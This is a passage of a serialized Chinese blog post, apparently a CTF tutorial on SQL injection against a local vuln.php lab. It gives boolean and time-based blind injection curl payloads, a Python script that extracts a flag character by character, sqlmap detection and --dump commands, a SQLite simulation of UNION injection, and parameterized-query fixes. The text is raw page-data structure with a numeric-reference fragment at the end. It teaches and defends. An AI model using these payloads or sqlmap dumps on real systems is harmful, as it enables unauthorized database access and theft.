SUBSTRING(database(),1,1))='a'--+\"\n",[26,5946,5947],{"__ignoreMap":24},[29,5948,5949,5951,5953,5956],{"class":31,"line":32},[29,5950,248],{"class":122},[29,5952,252],{"class":251},[29,5954,5955],{"class":126},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+",[29,5957,258],{"class":251},[15,5959,5960,5961,458],{},"为空 → 不是 ",[26,5962,3571],{},[15,5964,5965],{},"自动化脚本：",[15,5967,5968,5970,5971,5974],{},[216,5969,224],{},"：对 flag 的每个位置，逐个尝试字符，问\"这一位是不是 ch\"；页面出现正常特征（如 ",[26,5972,5973],{},"hello","）就说明猜对，把字符记下再问下一位。",[19,5976,5978],{"className":21,"code":5977,"language":23,"meta":24,"style":24},"import requests, string\n# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n\nurl = \"http://127.0.0.1:8000/vuln.php\"\nresult = \"\"          # 保存已确认的 flag 片段\n\nfor pos in range(1, 50):\n    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n    found = False\n    for ch in string.printable:\n        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n        r = requests.get(url, params={\"id\": payload})\n        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n        # r.text：响应正文。\n        if \"hello\" in r.text:\n            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n            result += ch\n            print(result)\n            found = True\n            break\n    if not found or result.endswith('}'):\n        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n        break\nprint(\"flag:\", result)\n",[26,5979,5980,5985,5990,5994,5999,6004,6008,6013,6018,6023,6028,6033,6038,6043,6048,6053,6058,6063,6068,6073,6078,6083,6088,6093,6098,6103,6107],{"__ignoreMap":24},[29,5981,5982],{"class":31,"line":32},[29,5983,5984],{},"import requests, string\n",[29,5986,5987],{"class":31,"line":38},[29,5988,5989],{},"# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n",[29,5991,5992],{"class":31,"line":45},[29,5993,42],{"emptyLinePlaceholder":41},[29,5995,5996],{"class":31,"line":51},[29,5997,5998],{},"url = \"http://127.0.0.1:8000/vuln.php\"\n",[29,6000,6001],{"class":31,"line":56},[29,6002,6003],{},"result = \"\"          # 保存已确认的 flag 片段\n",[29,6005,6006],{"class":31,"line":62},[29,6007,42],{"emptyLinePlaceholder":41},[29,6009,6010],{"class":31,"line":68},[29,6011,6012],{},"for pos in range(1, 50):\n",[29,6014,6015],{"class":31,"line":74},[29,6016,6017],{},"    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n",[29,6019,6020],{"class":31,"line":179},[29,6021,6022],{},"    found = False\n",[29,6024,6025],{"class":31,"line":185},[29,6026,6027],{},"    for ch in string.printable:\n",[29,6029,6030],{"class":31,"line":190},[29,6031,6032],{},"        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n",[29,6034,6035],{"class":31,"line":677},[29,6036,6037],{},"        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n",[29,6039,6040],{"class":31,"line":683},[29,6041,6042],{},"        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n",[29,6044,6045],{"class":31,"line":689},[29,6046,6047],{},"        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n",[29,6049,6050],{"class":31,"line":695},[29,6051,6052],{},"        r = requests.get(url, params={\"id\": payload})\n",[29,6054,6055],{"class":31,"line":2596},[29,6056,6057],{},"        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n",[29,6059,6060],{"class":31,"line":2602},[29,6061,6062],{},"        # r.text：响应正文。\n",[29,6064,6065],{"class":31,"line":2608},[29,6066,6067],{},"        if \"hello\" in r.text:\n",[29,6069,6070],{"class":31,"line":2614},[29,6071,6072],{},"            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n",[29,6074,6075],{"class":31,"line":4050},[29,6076,6077],{},"            result += ch\n",[29,6079,6080],{"class":31,"line":4056},[29,6081,6082],{},"            print(result)\n",[29,6084,6085],{"class":31,"line":4062},[29,6086,6087],{},"            found = True\n",[29,6089,6090],{"class":31,"line":4068},[29,6091,6092],{},"            break\n",[29,6094,6095],{"class":31,"line":4074},[29,6096,6097],{},"    if not found or result.endswith('}'):\n",[29,6099,6100],{"class":31,"line":4839},[29,6101,6102],{},"        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n",[29,6104,6105],{"class":31,"line":4844},[29,6106,698],{},[29,6108,6109],{"class":31,"line":4850},[29,6110,6111],{},"print(\"flag:\", result)\n",[15,6113,6114],{},"运行过程输出（节选）：",[19,6116,6119],{"className":6117,"code":6118,"language":477,"meta":24},[475],"f\nfl\nfla\nflag{\n...\nflag{sql_injection}\n",[26,6120,6118],{"__ignoreMap":24},[235,6122,6124],{"id":6123},"_52-时间盲注","5.2 时间盲注",[15,6126,6127,6128,6131],{},"页面连\"正常/异常\"都无法区分时，用 ",[26,6129,6130],{},"SLEEP"," 制造时间差：",[19,6133,6135],{"className":113,"code":6134,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+\"\n",[26,6136,6137],{"__ignoreMap":24},[29,6138,6139,6141,6143,6146],{"class":31,"line":32},[29,6140,248],{"class":122},[29,6142,252],{"class":251},[29,6144,6145],{"class":126},"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+",[29,6147,258],{"class":251},[15,6149,6150],{},"响应慢 2 秒 → 条件为真。脚本判断响应时间即可。",[10,6152,6154],{"id":6153},"六核心步骤-4sqlmap-自动化","六、核心步骤 4：sqlmap 自动化",[15,6156,6157,6159],{},[216,6158,218],{},"：手工确认后，用工具批量完成拖库，效率更高。",[235,6161,6163],{"id":6162},"命令-1检测","命令 1：检测",[15,6165,6166,6168],{},[216,6167,224],{},"：sqlmap 会对参数自动测试多种注入技术并报告类型。先检测确认，再定向拖库。",[19,6170,6172],{"className":113,"code":6171,"language":115,"meta":24,"style":24},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --batch\n",[26,6173,6174],{"__ignoreMap":24},[29,6175,6176,6179,6181,6183,6185,6187],{"class":31,"line":32},[29,6177,6178],{"class":122},"sqlmap",[29,6180,944],{"class":815},[29,6182,252],{"class":251},[29,6184,5552],{"class":126},[29,6186,804],{"class":251},[29,6188,6189],{"class":815}," --batch\n",[15,6191,1532],{},[19,6193,6196],{"className":6194,"code":6195,"language":477,"meta":24},[475],"Parameter: id (GET)\n    Type: boolean-based blind\n    Type: UNION query\n",[26,6197,6195],{"__ignoreMap":24},[235,6199,6201],{"id":6200},"命令-2列库","命令 2：列库",[19,6203,6205],{"className":113,"code":6204,"language":115,"meta":24,"style":24},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --dbs\n",[26,6206,6207],{"__ignoreMap":24},[29,6208,6209,6211,6213,6215,6217,6219],{"class":31,"line":32},[29,6210,6178],{"class":122},[29,6212,944],{"class":815},[29,6214,252],{"class":251},[29,6216,5552],{"class":126},[29,6218,804],{"class":251},[29,6220,6221],{"class":815}," --dbs\n",[15,6223,6224,6225,458],{},"预期输出：数据库列表，含 ",[26,6226,1136],{},[235,6228,6230],{"id":6229},"命令-3导出数据","命令 3：导出数据",[19,6232,6234],{"className":113,"code":6233,"language":115,"meta":24,"style":24},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" -D ctf -T flag --dump\n",[26,6235,6236],{"__ignoreMap":24},[29,6237,6238,6240,6242,6244,6246,6248,6251,6254,6257,6260],{"class":31,"line":32},[29,6239,6178],{"class":122},[29,6241,944],{"class":815},[29,6243,252],{"class":251},[29,6245,5552],{"class":126},[29,6247,804],{"class":251},[29,6249,6250],{"class":815}," -D",[29,6252,6253],{"class":126}," ctf",[29,6255,6256],{"class":815}," -T",[29,6258,6259],{"class":126}," flag",[29,6261,6262],{"class":815}," --dump\n",[15,6264,261,6265,6267,6268,458],{},[26,6266,3377],{}," 表内容 ",[26,6269,5898],{},[10,6271,6273],{"id":6272},"七核心步骤-5防御","七、核心步骤 5：防御",[19,6275,6277],{"className":5318,"code":6276,"language":5320,"meta":24,"style":24},"// PDO 参数化\n$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n\n// mysqli 参数化\n$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n$stmt->bind_param(\"ss\", $user, $pass);\n$stmt->execute();\n",[26,6278,6279,6284,6289,6294,6298,6303,6308,6313],{"__ignoreMap":24},[29,6280,6281],{"class":31,"line":32},[29,6282,6283],{},"// PDO 参数化\n",[29,6285,6286],{"class":31,"line":38},[29,6287,6288],{},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n",[29,6290,6291],{"class":31,"line":45},[29,6292,6293],{},"$stmt->execute([$_GET['id']]);\n",[29,6295,6296],{"class":31,"line":51},[29,6297,42],{"emptyLinePlaceholder":41},[29,6299,6300],{"class":31,"line":56},[29,6301,6302],{},"// mysqli 参数化\n",[29,6304,6305],{"class":31,"line":62},[29,6306,6307],{},"$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n",[29,6309,6310],{"class":31,"line":68},[29,6311,6312],{},"$stmt->bind_param(\"ss\", $user, $pass);\n",[29,6314,6315],{"class":31,"line":74},[29,6316,6317],{},"$stmt->execute();\n",[19,6319,6321],{"className":21,"code":6320,"language":23,"meta":24,"style":24},"cursor.execute(\"SELECT * FROM users WHERE username = ?\", (name,))\n",[26,6322,6323],{"__ignoreMap":24},[29,6324,6325],{"class":31,"line":32},[29,6326,6320],{},[15,6328,6329,6330,6333],{},"参数化后，输入 ",[26,6331,6332],{},"1 OR 1=1"," 只会作为字符串比较，不再改变语句结构。",[10,6335,6337],{"id":6336},"八附录本地可运行的-sqlite-模拟完整输入输出","八、附录：本地可运行的 SQLite 模拟（完整输入输出）",[15,6339,6340,6342],{},[216,6341,218],{},"：没有 PHP/MySQL 环境时，用 Python 自带 sqlite3 复现同样的\"字符串拼接注入\"，逐条对照输出理解每一步。",[15,6344,6345,6346,137],{},"没有 PHP/MySQL 时，用 Python + SQLite 复现同样的漏洞机制。保存 ",[26,6347,6348],{},"sim.py",[19,6350,6352],{"className":21,"code":6351,"language":23,"meta":24,"style":24},"import sqlite3\n# sqlite3：Python 标准库，操作 SQLite 数据库。\n\nconn = sqlite3.connect(':memory:')\n# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\nconn.executescript('''\nCREATE TABLE articles (id INT, title TEXT, content TEXT);\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag TEXT);\nINSERT INTO flag VALUES ('flag{sql_injection}');\n''')\n# executescript：一次性执行多条 SQL，建表并插入测试数据。\n\ndef query(id_):\n    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n    cur = conn.cursor()\n    # cursor()：创建游标对象，用于执行 SQL。\n    try:\n        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n        # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n        return str(cur.fetchall())\n        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n    except Exception as e:\n        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n        return \"ERROR: \" + str(e)\n\nprint(query(\"1\"))\nprint(query(\"1'\"))\nprint(query(\"1 AND 1=1\"))\nprint(query(\"1 AND 1=2\"))\nprint(query(\"1 ORDER BY 3\"))\nprint(query(\"-1 UNION SELECT 1,2,3-- \"))\nprint(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\nprint(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[26,6353,6354,6359,6364,6368,6373,6378,6383,6388,6392,6397,6401,6406,6411,6415,6420,6425,6430,6435,6440,6445,6450,6455,6460,6465,6470,6475,6479,6484,6489,6494,6499,6504,6509,6514],{"__ignoreMap":24},[29,6355,6356],{"class":31,"line":32},[29,6357,6358],{},"import sqlite3\n",[29,6360,6361],{"class":31,"line":38},[29,6362,6363],{},"# sqlite3：Python 标准库，操作 SQLite 数据库。\n",[29,6365,6366],{"class":31,"line":45},[29,6367,42],{"emptyLinePlaceholder":41},[29,6369,6370],{"class":31,"line":51},[29,6371,6372],{},"conn = sqlite3.connect(':memory:')\n",[29,6374,6375],{"class":31,"line":56},[29,6376,6377],{},"# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\n",[29,6379,6380],{"class":31,"line":62},[29,6381,6382],{},"conn.executescript('''\n",[29,6384,6385],{"class":31,"line":68},[29,6386,6387],{},"CREATE TABLE articles (id INT, title TEXT, content TEXT);\n",[29,6389,6390],{"class":31,"line":74},[29,6391,5437],{},[29,6393,6394],{"class":31,"line":179},[29,6395,6396],{},"CREATE TABLE flag (flag TEXT);\n",[29,6398,6399],{"class":31,"line":185},[29,6400,5447],{},[29,6402,6403],{"class":31,"line":190},[29,6404,6405],{},"''')\n",[29,6407,6408],{"class":31,"line":677},[29,6409,6410],{},"# executescript：一次性执行多条 SQL，建表并插入测试数据。\n",[29,6412,6413],{"class":31,"line":683},[29,6414,42],{"emptyLinePlaceholder":41},[29,6416,6417],{"class":31,"line":689},[29,6418,6419],{},"def query(id_):\n",[29,6421,6422],{"class":31,"line":695},[29,6423,6424],{},"    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n",[29,6426,6427],{"class":31,"line":2596},[29,6428,6429],{},"    cur = conn.cursor()\n",[29,6431,6432],{"class":31,"line":2602},[29,6433,6434],{},"    # cursor()：创建游标对象，用于执行 SQL。\n",[29,6436,6437],{"class":31,"line":2608},[29,6438,6439],{},"    try:\n",[29,6441,6442],{"class":31,"line":2614},[29,6443,6444],{},"        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n",[29,6446,6447],{"class":31,"line":4050},[29,6448,6449],{},"        # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n",[29,6451,6452],{"class":31,"line":4056},[29,6453,6454],{},"        return str(cur.fetchall())\n",[29,6456,6457],{"class":31,"line":4062},[29,6458,6459],{},"        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n",[29,6461,6462],{"class":31,"line":4068},[29,6463,6464],{},"    except Exception as e:\n",[29,6466,6467],{"class":31,"line":4074},[29,6468,6469],{},"        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n",[29,6471,6472],{"class":31,"line":4839},[29,6473,6474],{},"        return \"ERROR: \" + str(e)\n",[29,6476,6477],{"class":31,"line":4844},[29,6478,42],{"emptyLinePlaceholder":41},[29,6480,6481],{"class":31,"line":4850},[29,6482,6483],{},"print(query(\"1\"))\n",[29,6485,6486],{"class":31,"line":4856},[29,6487,6488],{},"print(query(\"1'\"))\n",[29,6490,6491],{"class":31,"line":4861},[29,6492,6493],{},"print(query(\"1 AND 1=1\"))\n",[29,6495,6496],{"class":31,"line":4867},[29,6497,6498],{},"print(query(\"1 AND 1=2\"))\n",[29,6500,6501],{"class":31,"line":4873},[29,6502,6503],{},"print(query(\"1 ORDER BY 3\"))\n",[29,6505,6506],{"class":31,"line":4879},[29,6507,6508],{},"print(query(\"-1 UNION SELECT 1,2,3-- \"))\n",[29,6510,6511],{"class":31,"line":4885},[29,6512,6513],{},"print(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\n",[29,6515,6516],{"class":31,"line":4890},[29,6517,6518],{},"print(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[15,6520,196],{},[19,6522,6524],{"className":113,"code":6523,"language":115,"meta":24,"style":24},"python3 sim.py\n",[26,6525,6526],{"__ignoreMap":24},[29,6527,6528,6530],{"class":31,"line":32},[29,6529,3203],{"class":122},[29,6531,6532],{"class":126}," sim.py\n",[15,6534,3503],{},[19,6536,6539],{"className":6537,"code":6538,"language":477,"meta":24},[475],"[(1, 'hello', 'world')]\nERROR: unrecognized token: \"'\"\n[(1, 'hello', 'world')]\n[]\n[(1, 'hello', 'world')]\n[(1, 2, 3)]\n[(1, 'articles,flag', 3)]\n[(1, 'flag{sql_injection}', 3)]\n",[26,6540,6538],{"__ignoreMap":24},[15,6542,6543],{},"逐行对应：",[342,6545,6546,6559],{},[345,6547,6548],{},[348,6549,6550,6553,6556],{},[351,6551,6552],{},"输入",[351,6554,6555],{},"输出",[351,6557,6558],{},"结论",[361,6560,6561,6574,6587,6599,6612,6625,6640,6653],{},[348,6562,6563,6568,6571],{},[366,6564,6565],{},[26,6566,6567],{},"1",[366,6569,6570],{},"正常记录",[366,6572,6573],{},"基线",[348,6575,6576,6581,6584],{},[366,6577,6578],{},[26,6579,6580],{},"1'",[366,6582,6583],{},"语法错误",[366,6585,6586],{},"注入点存在",[348,6588,6589,6594,6596],{},[366,6590,6591],{},[26,6592,6593],{},"1 AND 1=1",[366,6595,6570],{},[366,6597,6598],{},"条件真",[348,6600,6601,6606,6609],{},[366,6602,6603],{},[26,6604,6605],{},"1 AND 1=2",[366,6607,6608],{},"空",[366,6610,6611],{},"条件假",[348,6613,6614,6619,6622],{},[366,6615,6616],{},[26,6617,6618],{},"1 ORDER BY 3",[366,6620,6621],{},"正常",[366,6623,6624],{},"至少 3 列",[348,6626,6627,6632,6637],{},[366,6628,6629],{},[26,6630,6631],{},"-1 UNION SELECT 1,2,3",[366,6633,6634],{},[26,6635,6636],{},"(1, 2, 3)",[366,6638,6639],{},"3 列且回显",[348,6641,6642,6645,6650],{},[366,6643,6644],{},"查 sqlite_master",[366,6646,6647],{},[26,6648,6649],{},"articles,flag",[366,6651,6652],{},"表名（SQLite 的元数据表；MySQL 用 information_schema.tables）",[348,6654,6655,6658,6662],{},[366,6656,6657],{},"查 flag 表",[366,6659,6660],{},[26,6661,5898],{},[366,6663,6664],{},"拿到 flag",[10,6666,6668],{"id":6667},"九小结","九、小结",[15,6670,6671,6672,6675],{},"SQL 注入主线：",[216,6673,6674],{},"判断注入点 → UNION 逐层拿数据（列数→库→表→列→数据）→ 盲注兜底 → sqlmap 加速 → 参数化防御","。练完 sqli-labs 前 10 关即可掌握全部内容。",[1116,6677,6678],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":24,"searchDepth":38,"depth":38,"links":6680},[6681,6682,6683,6684,6685,6686,6687,6688,6689],{"id":5311,"depth":45,"text":5312},{"id":5363,"depth":45,"text":5364},{"id":5515,"depth":45,"text":5516},{"id":5669,"depth":45,"text":5670},{"id":5907,"depth":45,"text":5908},{"id":6153,"depth":45,"text":6154},{"id":6272,"depth":45,"text":6273},{"id":6336,"depth":45,"text":6337},{"id":6667,"depth":45,"text":6668},"SQL 注入环境搭建、注入点判断、UNION 五步拖库、盲注脚本、sqlmap 自动化、参数化防御。",{"date":1132,"image":6692,"alt":6693,"tags":6694,"published":41},"/blogs-img/blog5.png","SQL 注入深入实战",[1136,1137,6695,1139],"sql注入","/blogs/ctf-web-sql-injection-deep-dive",{"title":5306,"description":6690},"blogs/14. ctf-web-sql-injection-deep-dive","ayEbnZAfIhYBpMrKx07Y9pgkSt5Y7VQ7rhq2f05H6Ns",{"id":4,"title":5,"body":6701,"description":1129,"extension":1130,"meta":7519,"navigation":41,"ogImage":1133,"path":1140,"seo":7521,"stem":1142,"__hash__":1143},{"type":7,"value":6702,"toc":7509},[6703,6705,6707,6743,6749,6751,6759,6763,6765,6777,6781,6829,6831,6841,6843,6847,6855,6857,6871,6873,6889,6891,6905,6907,6923,6929,6931,6985,6987,6991,7011,7017,7019,7024,7026,7031,7033,7047,7049,7065,7067,7081,7083,7099,7109,7113,7121,7127,7132,7134,7198,7202,7204,7209,7211,7219,7225,7233,7235,7240,7242,7247,7253,7255,7257,7295,7297,7333,7337,7339,7341,7401,7403,7409,7411,7415,7429,7433,7435,7445,7473,7475,7480,7482,7488,7490,7495,7497,7507],[10,6704,13],{"id":12},[15,6706,17],{},[19,6708,6709],{"className":21,"code":22,"language":23,"meta":24,"style":24},[26,6710,6711,6715,6719,6723,6727,6731,6735,6739],{"__ignoreMap":24},[29,6712,6713],{"class":31,"line":32},[29,6714,35],{},[29,6716,6717],{"class":31,"line":38},[29,6718,42],{"emptyLinePlaceholder":41},[29,6720,6721],{"class":31,"line":45},[29,6722,48],{},[29,6724,6725],{"class":31,"line":51},[29,6726,42],{"emptyLinePlaceholder":41},[29,6728,6729],{"class":31,"line":56},[29,6730,59],{},[29,6732,6733],{"class":31,"line":62},[29,6734,65],{},[29,6736,6737],{"class":31,"line":68},[29,6738,71],{},[29,6740,6741],{"class":31,"line":74},[29,6742,77],{},[15,6744,80,6745,84,6747,88],{},[26,6746,83],{},[26,6748,87],{},[15,6750,91],{},[19,6752,6753],{"className":21,"code":94,"language":23,"meta":24,"style":24},[26,6754,6755],{"__ignoreMap":24},[29,6756,6757],{"class":31,"line":32},[29,6758,94],{},[15,6760,6761,106],{},[26,6762,105],{},[10,6764,110],{"id":109},[19,6766,6767],{"className":113,"code":114,"language":115,"meta":24,"style":24},[26,6768,6769],{"__ignoreMap":24},[29,6770,6771,6773,6775],{"class":31,"line":32},[29,6772,123],{"class":122},[29,6774,127],{"class":126},[29,6776,130],{"class":126},[15,6778,133,6779,137],{},[26,6780,136],{},[19,6782,6783],{"className":21,"code":140,"language":23,"meta":24,"style":24},[26,6784,6785,6789,6793,6797,6801,6805,6809,6813,6817,6821,6825],{"__ignoreMap":24},[29,6786,6787],{"class":31,"line":32},[29,6788,147],{},[29,6790,6791],{"class":31,"line":38},[29,6792,42],{"emptyLinePlaceholder":41},[29,6794,6795],{"class":31,"line":45},[29,6796,48],{},[29,6798,6799],{"class":31,"line":51},[29,6800,42],{"emptyLinePlaceholder":41},[29,6802,6803],{"class":31,"line":56},[29,6804,59],{},[29,6806,6807],{"class":31,"line":62},[29,6808,65],{},[29,6810,6811],{"class":31,"line":68},[29,6812,71],{},[29,6814,6815],{"class":31,"line":74},[29,6816,176],{},[29,6818,6819],{"class":31,"line":179},[29,6820,182],{},[29,6822,6823],{"class":31,"line":185},[29,6824,42],{"emptyLinePlaceholder":41},[29,6826,6827],{"class":31,"line":190},[29,6828,193],{},[15,6830,196],{},[19,6832,6833],{"className":113,"code":199,"language":115,"meta":24,"style":24},[26,6834,6835],{"__ignoreMap":24},[29,6836,6837,6839],{"class":31,"line":32},[29,6838,23],{"class":122},[29,6840,208],{"class":126},[10,6842,212],{"id":211},[15,6844,6845,219],{},[216,6846,218],{},[15,6848,6849,225,6851,229,6853,233],{},[216,6850,224],{},[26,6852,228],{},[26,6854,232],{},[235,6856,238],{"id":237},[19,6858,6859],{"className":113,"code":241,"language":115,"meta":24,"style":24},[26,6860,6861],{"__ignoreMap":24},[29,6862,6863,6865,6867,6869],{"class":31,"line":32},[29,6864,248],{"class":122},[29,6866,252],{"class":251},[29,6868,255],{"class":126},[29,6870,258],{"class":251},[15,6872,261],{},[19,6874,6875],{"className":264,"code":265,"language":266,"meta":24,"style":24},[26,6876,6877],{"__ignoreMap":24},[29,6878,6879,6881,6883,6885,6887],{"class":31,"line":32},[29,6880,274],{"class":273},[29,6882,278],{"class":277},[29,6884,281],{"class":273},[29,6886,278],{"class":277},[29,6888,286],{"class":273},[235,6890,290],{"id":289},[19,6892,6893],{"className":113,"code":293,"language":115,"meta":24,"style":24},[26,6894,6895],{"__ignoreMap":24},[29,6896,6897,6899,6901,6903],{"class":31,"line":32},[29,6898,248],{"class":122},[29,6900,252],{"class":251},[29,6902,304],{"class":126},[29,6904,258],{"class":251},[15,6906,261],{},[19,6908,6909],{"className":264,"code":311,"language":266,"meta":24,"style":24},[26,6910,6911],{"__ignoreMap":24},[29,6912,6913,6915,6917,6919,6921],{"class":31,"line":32},[29,6914,274],{"class":273},[29,6916,278],{"class":277},[29,6918,322],{"class":273},[29,6920,278],{"class":277},[29,6922,286],{"class":273},[15,6924,6925,332,6927,336],{},[26,6926,331],{},[26,6928,335],{},[235,6930,340],{"id":339},[342,6932,6933,6943],{},[345,6934,6935],{},[348,6936,6937,6939,6941],{},[351,6938,353],{},[351,6940,356],{},[351,6942,359],{},[361,6944,6945,6955,6965,6975],{},[348,6946,6947,6949,6951],{},[366,6948,368],{},[366,6950,371],{},[366,6952,6953],{},[26,6954,232],{},[348,6956,6957,6959,6961],{},[366,6958,380],{},[366,6960,383],{},[366,6962,6963],{},[26,6964,388],{},[348,6966,6967,6969,6971],{},[366,6968,393],{},[366,6970,383],{},[366,6972,6973],{},[26,6974,400],{},[348,6976,6977,6979,6981],{},[366,6978,405],{},[366,6980,408],{},[366,6982,6983],{},[26,6984,413],{},[10,6986,417],{"id":416},[15,6988,6989,422],{},[216,6990,218],{},[15,6992,6993,427,6995,431,6997,435,6999,435,7001,442,7003,446,7005,450,7007,454,7009,458],{},[216,6994,224],{},[26,6996,430],{},[26,6998,434],{},[26,7000,438],{},[26,7002,441],{},[26,7004,445],{},[26,7006,449],{},[26,7008,453],{},[26,7010,457],{},[15,7012,461,7013,464,7015,467],{},[26,7014,430],{},[26,7016,445],{},[235,7018,471],{"id":470},[19,7020,7022],{"className":7021,"code":476,"language":477,"meta":24},[475],[26,7023,476],{"__ignoreMap":24},[235,7025,483],{"id":482},[19,7027,7029],{"className":7028,"code":487,"language":477,"meta":24},[475],[26,7030,487],{"__ignoreMap":24},[15,7032,492],{},[19,7034,7035],{"className":113,"code":495,"language":115,"meta":24,"style":24},[26,7036,7037],{"__ignoreMap":24},[29,7038,7039,7041,7043,7045],{"class":31,"line":32},[29,7040,248],{"class":122},[29,7042,252],{"class":251},[29,7044,506],{"class":126},[29,7046,258],{"class":251},[15,7048,261],{},[19,7050,7051],{"className":264,"code":513,"language":266,"meta":24,"style":24},[26,7052,7053],{"__ignoreMap":24},[29,7054,7055,7057,7059,7061,7063],{"class":31,"line":32},[29,7056,274],{"class":273},[29,7058,278],{"class":277},[29,7060,524],{"class":273},[29,7062,278],{"class":277},[29,7064,286],{"class":273},[15,7066,531],{},[19,7068,7069],{"className":113,"code":534,"language":115,"meta":24,"style":24},[26,7070,7071],{"__ignoreMap":24},[29,7072,7073,7075,7077,7079],{"class":31,"line":32},[29,7074,248],{"class":122},[29,7076,252],{"class":251},[29,7078,545],{"class":126},[29,7080,258],{"class":251},[15,7082,261],{},[19,7084,7085],{"className":264,"code":552,"language":266,"meta":24,"style":24},[26,7086,7087],{"__ignoreMap":24},[29,7088,7089,7091,7093,7095,7097],{"class":31,"line":32},[29,7090,274],{"class":273},[29,7092,278],{"class":277},[29,7094,563],{"class":273},[29,7096,278],{"class":277},[29,7098,286],{"class":273},[15,7100,7101,137,7107,580],{},[216,7102,572,7103,575,7105],{},[26,7104,449],{},[26,7106,457],{},[26,7108,449],{},[235,7110,584,7111,588],{"id":583},[216,7112,587],{},[15,7114,7115,593,7117,596,7119,458],{},[216,7116,218],{},[26,7118,430],{},[26,7120,599],{},[15,7122,7123,604,7125,137],{},[26,7124,430],{},[26,7126,599],{},[19,7128,7130],{"className":7129,"code":610,"language":477,"meta":24},[475],[26,7131,610],{"__ignoreMap":24},[15,7133,615],{},[19,7135,7136],{"className":21,"code":618,"language":23,"meta":24,"style":24},[26,7137,7138,7142,7146,7150,7154,7158,7162,7166,7170,7174,7178,7182,7186,7190,7194],{"__ignoreMap":24},[29,7139,7140],{"class":31,"line":32},[29,7141,625],{},[29,7143,7144],{"class":31,"line":38},[29,7145,42],{"emptyLinePlaceholder":41},[29,7147,7148],{"class":31,"line":45},[29,7149,634],{},[29,7151,7152],{"class":31,"line":51},[29,7153,639],{},[29,7155,7156],{"class":31,"line":56},[29,7157,644],{},[29,7159,7160],{"class":31,"line":62},[29,7161,649],{},[29,7163,7164],{"class":31,"line":68},[29,7165,654],{},[29,7167,7168],{"class":31,"line":74},[29,7169,659],{},[29,7171,7172],{"class":31,"line":179},[29,7173,664],{},[29,7175,7176],{"class":31,"line":185},[29,7177,669],{},[29,7179,7180],{"class":31,"line":190},[29,7181,674],{},[29,7183,7184],{"class":31,"line":677},[29,7185,680],{},[29,7187,7188],{"class":31,"line":683},[29,7189,686],{},[29,7191,7192],{"class":31,"line":689},[29,7193,692],{},[29,7195,7196],{"class":31,"line":695},[29,7197,698],{},[15,7199,261,7200,704],{},[26,7201,703],{},[15,7203,707],{},[19,7205,7207],{"className":7206,"code":711,"language":477,"meta":24},[475],[26,7208,711],{"__ignoreMap":24},[10,7210,717],{"